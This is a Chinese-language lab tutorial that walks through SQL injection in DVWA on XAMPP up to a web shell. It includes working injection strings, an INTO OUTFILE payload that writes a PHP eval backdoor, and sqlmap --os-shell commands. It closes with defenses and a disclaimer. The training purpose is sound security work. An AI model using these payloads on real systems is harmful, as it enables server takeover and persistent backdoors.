搭建dvwa环境学习从MySql注入到GetShell
字数 1059 2025-08-18 11:37:33
MySQL注入到GetShell实战教学文档
一、环境搭建
1.1 所需工具
- Xampp集成环境(Apache+MySQL+PHP)
- DVWA(Damn Vulnerable Web Application)压缩包
1.2 安装步骤
- 安装并启动Xampp
- 如Apache启动失败,修改config文件端口为未占用端口(如4433和8081)
- 解压DVWA到Xampp的htdocs目录下
- 访问DVWA登录页面完成环境搭建
二、手工注入到GetShell
2.1 注入点探测
- 输入
1查询成功 - 输入
1' and '1'='2查询失败 - 输入
1' or '1234'='1234查询成功- 确认存在SQL注入漏洞
2.2 UNION查询利用
- 基础UNION查询测试:
1' union select 1,2'- 返回两个SELECT语句的结果
2.3 写入WebShell
-
尝试写入PHP一句话木马:
1' union select 1,'<?php @eval($_POST['pass']) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' #- 可能因单引号问题报错
-
修正后的写入语句(使用双引号):
1' union select 1,'<?php @eval($_POST["pass"]) ?>' into outfile 'C:/xampp/htdocs/dvwa/1.php' #- 成功在网站目录下创建1.php文件
-
使用中国菜刀等工具连接WebShell
三、使用SQLMap自动化攻击
3.1 基本注入检测
sqlmap -u "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
- 需添加cookie参数绕过登录验证
3.2 获取交互式Shell
sqlmap -u [URL] --cookie="[COOKIE]" --os-shell
- 选择PHP作为脚本语言
- 选择自定义上传位置
- 输入网站绝对路径(Windows需转义):
C:\\xampp\\htdocs\\dvwa
3.3 上传WebShell
- SQLMap会自动上传两个PHP文件
- 通过上传点上传自定义PHP木马文件
- 使用中国菜刀连接获取Shell
四、关键知识点
4.1 MySQL文件操作函数
load_file(): 读取文件内容into outfile: 写入文件到服务器
4.2 注入技巧
- 单引号闭合问题处理
- UNION查询的列数匹配
- 绝对路径获取方法
4.3 权限要求
- MySQL用户需有文件读写权限
- 知道网站绝对路径
- 无目录写入限制
五、防御措施
- 最小权限原则:限制MySQL用户权限
- 禁用危险函数:
secure_file_priv限制文件操作 - 输入过滤:使用预处理语句
- Web目录不可写或严格权限控制
- 部署WAF防护SQL注入攻击
六、注意事项
- 本文仅用于合法授权测试和学习
- 真实环境通常有更多防护措施
- Linux环境下需考虑权限和路径差异
- 高安全级别DVWA环境需调整安全等级测试
七、扩展学习
- Linux环境下反弹Shell技术
- 绕过WAF的注入技巧
- 权限提升方法
- 日志清理技术
通过本教程,学习者可以全面了解从SQL注入到GetShell的完整过程,建议在虚拟机环境中实践,避免对真实系统造成影响。